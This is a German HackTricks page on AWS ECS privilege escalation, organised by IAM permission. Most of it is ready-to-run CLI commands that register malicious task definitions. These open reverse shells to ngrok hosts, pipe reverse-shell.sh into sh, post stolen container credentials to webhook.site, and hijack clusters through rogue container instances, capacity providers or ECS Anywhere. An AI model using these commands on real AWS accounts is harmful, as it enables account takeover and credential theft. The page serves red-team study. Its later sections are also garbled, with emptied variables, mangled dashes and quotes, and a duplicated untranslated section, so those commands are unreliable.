AWS - ECS Privesc

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

Sieh dir die Abonnementpläne an!

Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.

Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.

ECS

Mehr Infos über ECS in:

AWS - ECS Enum

`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`

Ein Angreifer, der die Berechtigungen iam:PassRole, ecs:RegisterTaskDefinition und ecs:RunTask in ECS ausnutzt, kann eine neue Task-Definition mit einem bösartigen Container erstellen, der die Metadaten-Anmeldeinformationen stiehlt, und diese anschließend ausführen.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Erstelle einen webhook mit einer Seite wie webhook.site


# Create file container-definition.json
[
{
"name": "exfil_creds",
"image": "python:latest",
"entryPoint": ["sh", "-c"],
"command": [
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
]
}
]

# Run task definition, uploading the .json file
aws ecs register-task-definition \
--family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 \
--memory 512 \
--requires-compatibilities FARGATE \
--container-definitions file://container-definition.json

# Check the webhook for a response

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Mögliche Auswirkungen: Direkter privesc auf eine andere ECS role.

`iam:PassRole`,`ecs:RunTask`

Ein Angreifer, der iam:PassRole und ecs:RunTask Berechtigungen hat, kann einen neuen ECS task starten und dabei execution role, task role und die command-Werte des Containers verändern. Der ecs run-task CLI-Befehl enthält die --overrides Option, mit der zur Laufzeit executionRoleArn, taskRoleArn und der command des Containers geändert werden können, ohne die Task Definition zu bearbeiten.

Die angegebenen IAM-Rollen für taskRoleArn und executionRoleArn müssen in ihrer Trust-Policy dem ecs-tasks.amazonaws.com vertrauen bzw. dessen Annahme erlauben.

Außerdem muss der Angreifer wissen:

ECS cluster name
VPC Subnet
Security group (Wenn keine security group angegeben ist, wird die standardmäßige verwendet)
Task Definition Name and revision
Name of the Container

aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

Im obigen Codeausschnitt überschreibt ein attacker nur den Wert von taskRoleArn. Allerdings muss der attacker die Berechtigung iam:PassRole für den in dem Befehl angegebenen taskRoleArn und den in der Task-Definition angegebenen executionRoleArn besitzen, damit der Angriff stattfinden kann.

Wenn die IAM-Rolle, die der attacker übergeben kann, genügend Rechte hat, um das ECR-Image herunterzuladen und die ECS-Task zu starten (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer, ecr:BatchGetImage, ecr:GetAuthorizationToken), dann kann der attacker dieselbe IAM-Rolle sowohl für executionRoleArn als auch für taskRoleArn im ecs run-task-Befehl angeben.

aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

Potential Impact: Direkter privesc auf jede ECS task role.

`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

Wie im vorherigen Beispiel kann ein Angreifer, der die iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask Berechtigungen in ECS missbraucht, eine neue task definition erstellen mit einem bösartigen container, der die Metadaten-Zugangsdaten stiehlt, und sie ausführen.
Allerdings muss in diesem Fall eine container instance vorhanden sein, um die bösartige task definition auszuführen.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potentielle Auswirkung: Direkter privesc auf jede ECS-Rolle.

`iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`

Wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService oder ecs:CreateService in ECS ausnutzt, eine neue Task-Definition erstellen mit einem bösartigen Container, der die Metadaten-Anmeldeinformationen stiehlt, und diesen ausführen, indem er einen neuen Service erstellt, der mindestens 1 Task laufen hat.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Potentielle Auswirkungen: Direkter privesc auf jede ECS-Rolle.

`iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`

Tatsächlich ist es bereits mit diesen Berechtigungen möglich, mittels overrides beliebige Befehle in einem Container mit einer beliebigen Rolle auszuführen, etwa so:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Potential Impact: Direkter privesc zu jeder ECS role.

`ecs:RegisterTaskDefinition`, `(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`

Dieses Szenario ist wie die vorherigen, aber ohne die iam:PassRole-Berechtigung.
Das ist weiterhin interessant, denn wenn Sie einen beliebigen container ausführen können, selbst wenn er ohne role ist, könnten Sie einen privileged container ausführen, um zum node zu escape und die EC2 IAM role sowie die anderen ECS containers roles, die auf dem node laufen, stehlen.
Sie könnten sogar andere tasks zwingen, innerhalb der EC2 instance zu laufen, die Sie kompromittieren, um deren Anmeldeinformationen zu stehlen (wie im Privesc to node section besprochen).

Warning

Dieser Angriff ist nur möglich, wenn der ECS cluster EC2 instances verwendet und nicht Fargate.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

`ecs:ExecuteCommand`, `ecs:DescribeTasks,``(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`

Ein Angreifer mit den ecs:ExecuteCommand, ecs:DescribeTasks kann Befehle ausführen innerhalb eines laufenden Containers und die daran angehängte IAM-Rolle exfiltrate (man benötigt die Describe-Berechtigungen, da diese nötig sind, um aws ecs execute-command auszuführen).
Allerdings muss auf der Container-Instanz dafür der ExecuteCommand agent laufen (was standardmäßig nicht der Fall ist).

Daher könnte der Angreifer versuchen:

Versuchen, in jedem laufenden Container einen Befehl auszuführen

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"

Sobald Sie eine Shell im Container haben, können Sie typischerweise die task role credentials vom task credentials endpoint extrahieren und außerhalb des Containers wiederverwenden:

# Inside the container:
echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq

# If you want to use them locally, print shell exports:
python3 - <<'PY'
import json, os, urllib.request
u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
d = json.load(urllib.request.urlopen(u, timeout=2))
print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
print("export AWS_SESSION_TOKEN=" + d["Token"])
PY

Wenn er ecs:RunTask hat, starte einen Task mit aws ecs run-task --enable-execute-command [...]
Wenn er ecs:StartTask hat, starte einen Task mit aws ecs start-task --enable-execute-command [...]
Wenn er ecs:CreateService hat, erstelle einen Service mit aws ecs create-service --enable-execute-command [...]
Wenn er ecs:UpdateService hat, aktualisiere einen Service mit aws ecs update-service --enable-execute-command [...]

Sie finden Beispiele für diese Optionen in vorherigen ECS privesc Sections.

Potential Impact: Privesc zu einer anderen Rolle, die an Container angehängt ist.

`ssm:StartSession`

Siehe auf der ssm privesc page, wie Sie diese Berechtigung missbrauchen können, um privesc zu ECS:

AWS - SSM Privesc

`iam:PassRole`, `ec2:RunInstances`

Siehe auf der ec2 privesc page, wie Sie diese Berechtigungen missbrauchen können, um privesc zu ECS:

AWS - EC2 Privesc

`ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`

Ein Angreifer mit diesen Berechtigungen kann oft “cluster membership” in eine Umgehung der Sicherheitsgrenzen verwandeln:

Registriere eine vom Angreifer kontrollierte EC2-Instanz in einem Opfer-ECS-Cluster (wird so zur Container-Instanz)
Setze benutzerdefinierte Container-Instance-Attribute, um placement constraints zu erfüllen
Lasse ECS Tasks auf diesem Host planen
Stehle task role credentials (und alle Secrets/Daten innerhalb des Containers) von dem Task, der auf deinem Host läuft

High-level workflow:

Beschaffe ein EC2 instance identity document + signature von einer EC2-Instanz, die du im Zielkonto kontrollierst (zum Beispiel via SSM/SSH):

curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig

Registriere es im Ziel-Cluster, optional unter Setzen von Attributen, um Platzierungsbeschränkungen zu erfüllen:

aws ecs register-container-instance \
--cluster "$CLUSTER" \
--instance-identity-document file://iidoc.json \
--instance-identity-document-signature "$(cat iisig)" \
--attributes name=labtarget,value=hijack

Bestätigen, dass es beigetreten ist:

aws ecs list-container-instances --cluster "$CLUSTER"

Starte eine task / aktualisiere einen service, sodass etwas auf der instance geplant wird, und sammle dann task role creds aus der task heraus:

# On the container host:
docker ps
docker exec -it <container-id> sh
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Notes:

Das Registrieren einer Container-Instance mithilfe des Instance Identity Document/Signatur impliziert, dass Sie Zugriff auf eine EC2-Instanz im Zielkonto haben (oder diese kompromittiert haben). Für kontoübergreifendes “bring your own EC2” siehe die ECS Anywhere-Technik auf dieser Seite.
Platzierungsbeschränkungen basieren häufig auf Attributen der Container-Instance. Listen Sie diese über ecs:DescribeServices, ecs:DescribeTaskDefinition, und ecs:DescribeContainerInstances auf, um zu wissen, welche Attribute Sie setzen müssen.

`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`

Note

TODO: Testen

Ein Angreifer mit den Berechtigungen ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, und ecs:DescribeTaskSets kann einen bösartigen Task-Set für einen bestehenden ECS-Service erstellen und das primäre Task-Set aktualisieren. Dadurch kann der Angreifer beliebigen Code im Service ausführen.

# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Mögliche Auswirkungen: Ausführung beliebigen Codes im betroffenen Service, wodurch dessen Funktionalität beeinträchtigt oder sensible Daten exfiltriert werden können.

References

https://ruse.tech/blogs/ecs-attack-methods

Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

Ein Angreifer mit Berechtigungen, ECS Capacity Providers zu verwalten und Services zu aktualisieren, kann eine EC2 Auto Scaling Group, die er kontrolliert, erstellen, sie in einen ECS Capacity Provider einbinden, diesen dem Ziel-Cluster zuordnen und einen Opfer-Service so migrieren, dass er diesen Provider verwendet. Tasks werden dann auf EC2-Instanzen geplant, die vom Angreifer kontrolliert werden, was OS-Level-Zugriff ermöglicht, um Container zu inspizieren und Task-Role-Anmeldeinformationen zu stehlen.

Befehle (us-east-1):

Voraussetzungen
Launch Template erstellen, damit der ECS agent dem Ziel-Cluster beitritt
Auto Scaling Group erstellen
Capacity Provider aus der ASG erstellen
Den Capacity Provider dem Cluster zuordnen (optional als Standard)
Einen Service auf deinen Provider migrieren
Überprüfen, dass Tasks auf den Instanzen des Angreifers landen
Optional: Vom EC2-Node aus docker exec in Ziel-Container und http://169.254.170.2 lesen, um die Task-Role-Anmeldeinformationen zu erhalten.
Bereinigung

Mögliche Auswirkungen: Auf vom Angreifer kontrollierte EC2-Knoten werden Opfer-Tasks geplant, was OS-Level-Zugriff auf Container und den Diebstahl von Task-IAM-Rollen-Anmeldeinformationen ermöglicht.

Schritt-für-Schritt Befehle (kopieren/einfügen)

export AWS_DEFAULT_REGION=us-east-1
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
# Instance profile for ECS nodes
aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
VPC=vpc-18e6ac62
SUBNETS=
AMI=ami-0b570770164588ab4
USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
LT_ID=
ASG_ARN=
CP_NAME=htcp-8797
aws ecs create-capacity-provider –name  –auto-scaling-group-provider “autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED”
aws ecs put-cluster-capacity-providers –cluster “” –capacity-providers  –default-capacity-provider-strategy capacityProvider=,weight=1
SVC=
Task definition must be EC2-compatible (not Fargate-only)
aws ecs update-service –cluster “” –service “” –capacity-provider-strategy capacityProvider=,weight=1 –force-new-deployment
TASK=
CI=
aws ecs describe-container-instances –cluster “” –container-instances “” –query containerInstances[0].ec2InstanceId –output text


Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
Missbrauche ECS Anywhere, um einen vom Angreifer kontrollierten Host als EXTERNAL container instance in einem Opfer-ECS-Cluster zu registrieren und darauf Tasks mit privilegierten task- und execution-roles auszuführen. Dies gewährt OS-Level-Kontrolle darüber, wo Tasks laufen (dein eigenes Gerät) und erlaubt das Exfiltrieren von Credentials/Daten aus Tasks und angehängten Volumes, ohne Capacity Providers oder ASGs zu manipulieren.


Erforderliche Berechtigungen (Beispiel, minimal):


ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask oder ecs:RunTask


ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation


iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (für die ECS Anywhere instance role und task/execution roles)


logs:CreateLogGroup/Stream, logs:PutLogEvents (falls awslogs verwendet wird)


Auswirkungen: Beliebige Container mit gewähltem taskRoleArn auf dem Angreifer-Host ausführen; Task-Role-Anmeldeinformationen aus 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI exfiltrieren; auf alle von Tasks gemounteten Volumes zugreifen; unauffälliger als die Manipulation von Capacity Providers/ASGs.


Schritte

Cluster erstellen/identifizieren (us-east-1)

aws ecs create-cluster --cluster-name ht-ecs-anywhere


ECS Anywhere-Rolle und SSM-Aktivierung erstellen (für lokale/externe Instanz)

aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)


Angreifer-Host bereitstellen und automatisch als EXTERNAL registrieren (Beispiel: kleine AL2 EC2 als “on‑prem”)


user-data.sh
```bash
#!/bin/bash
set -euxo pipefail
amazon-linux-extras enable docker || true
yum install -y docker curl jq
systemctl enable --now docker
curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
chmod +x /root/ecs-anywhere-install.sh
/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1
```

```bash
AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
aws ec2 wait instance-status-ok --instance-ids $IID
```
4) Überprüfen, ob die EXTERNAL container instance beigetreten ist
```bash
aws ecs list-container-instances --cluster ht-ecs-anywhere
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
--container-instances  --query 'containerInstances[0].[ec2InstanceId,attributes]'
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
```
5) Erstelle task/execution roles, registriere EXTERNAL task definition, und führe sie auf dem attacker host aus
```bash
# roles
aws iam create-role --role-name ht-ecs-task-exec \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
aws iam create-role --role-name ht-ecs-task-role \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
# attach any privileges you want to abuse to this task role
task def (EXTERNAL launch)
cat > td-external.json << ‘JSON’
{
“family”: “ht-external”,
“requiresCompatibilities”: [ “EXTERNAL” ],
“networkMode”: “bridge”,
“memory”: “256”,
“cpu”: “128”,
“executionRoleArn”: “arn:aws:iam:::role/ht-ecs-task-exec”,
“taskRoleArn”: “arn:aws:iam:::role/ht-ecs-task-role”,
“containerDefinitions”: [
{“name”:“steal”,“image”:“public.ecr.aws/amazonlinux/amazonlinux:latest”,
“entryPoint”:[“/bin/sh”,“-c”],
“command”:[“REL=$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2$REL; sleep 600”],
“memory”: 128,
“logConfiguration”:{“logDriver”:“awslogs”,“options”:{“awslogs-region”:“us-east-1”,“awslogs-group”:“/ht/ecs/anywhere”,“awslogs-stream-prefix”:“steal”}}
}
]
}
JSON
aws logs create-log-group –log-group-name /ht/ecs/anywhere || true
aws ecs register-task-definition –cli-input-json file://td-external.json
CI=$(aws ecs list-container-instances –cluster ht-ecs-anywhere –query ‘containerInstanceArns[0]’ –output text)
aws ecs start-task –cluster ht-ecs-anywhere –task-definition ht-external 
–container-instances $CI
6) Von hier kontrollierst du den Host, der die Tasks ausführt. Du kannst task logs lesen (falls awslogs) oder direkt auf dem Host execen, um credentials/data aus deinen Tasks zu exfiltrieren.



#### Befehlsbeispiel (Platzhalter)




### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

An attacker with permissions to manage ECS capacity providers and update services can create an EC2 Auto Scaling Group they control, wrap it in an ECS Capacity Provider, associate it to the target cluster, and migrate a victim service to use this provider. Tasks will then be scheduled onto attacker-controlled EC2 instances, allowing OS-level access to inspect containers and steal task role credentials.

Commands (us-east-1):

- Voraussetzungen



- Erstelle Launch Template, damit der ECS agent dem target cluster beitritt



- Erstelle Auto Scaling Group



- Erstelle Capacity Provider aus der ASG



- Verknüpfe den Capacity Provider mit dem cluster (optional als Standard)



- Migriere einen Service zu deinem Provider



- Verifiziere, dass Tasks auf den Instanzen des Angreifers landen



- Optional: Von der EC2-Node aus mit docker exec in die Ziel-Container und lese http://169.254.170.2 aus, um die task role credentials zu erhalten.

- Aufräumen



**Mögliche Auswirkungen:** Von Angreifer kontrollierte EC2-Knoten erhalten Opfer-Tasks, wodurch Zugriff auf Betriebssystemebene möglich ist, um Container zu inspizieren und die task IAM role credentials zu stehlen.
> [!TIP]
> Lerne & übe AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Lerne & übe GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Lerne & übe Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Unterstütze HackTricks</summary>
>
> - Sieh dir die [**Abonnementpläne**](https://github.com/sponsors/carlospolop) an!
> - **Tritt der** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) **oder der** [**telegram group**](https://t.me/peass) **bei oder folge uns auf** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repos** einreichst.
>
> </details>